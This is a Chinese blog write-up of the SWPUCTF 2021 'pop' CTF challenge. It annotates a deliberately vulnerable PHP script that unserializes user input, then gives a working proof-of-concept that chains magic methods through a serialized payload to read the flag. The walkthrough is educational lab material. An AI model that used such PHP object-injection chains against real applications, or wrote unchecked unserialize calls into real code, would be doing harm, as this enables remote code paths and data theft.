首页 > 其他分享 >[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop

时间:2024-10-17 15:49:05浏览次数:10  
标签:w00m SWPUCTF passwd w22m pop echo admin 2021 public

打开靶机

进入到里面之后看到几行代码。知道是关于反序列化的和pop链的构造,pop链就是利用魔法方法在里面进行多次跳转然后获取敏感数据。

 

这里我简单分析一下代码。

 <?php

error_reporting(0);
show_source("index.php");        //显示index.php页源代码。和关闭错误信息
                            
class w44m{

    private $admin = 'aaa';            
    protected $passwd = '123456';    //定义admin和passwd初始值

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');                       //构建getflag方法
            echo $flag;            //当admin和passwd值为w44m和08067时输出flag.php
        }else{                     //目标  
            echo $this->admin;    
            echo $this->passwd;
            echo 'nono';            
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){        //当对象被销毁时调用_destruct函数。输出woom属性的值
        echo $this->w00m;                //注入点
    }
}

class w33m{
    public $w00m;
    public $w22m;                    
    public function __toString(){       //当类被当成字符串时触发,这是一个动态的调用方法。
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

 我们可以这么构造poc链。

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

因为两个值是私有和保护属性,在反序列化是会用不可见字符进行特殊标记,用url编码可以直接显示出来。

标签:w00m,SWPUCTF,passwd,w22m,pop,echo,admin,2021,public
From: https://blog.csdn.net/2301_79210256/article/details/143006544

相关文章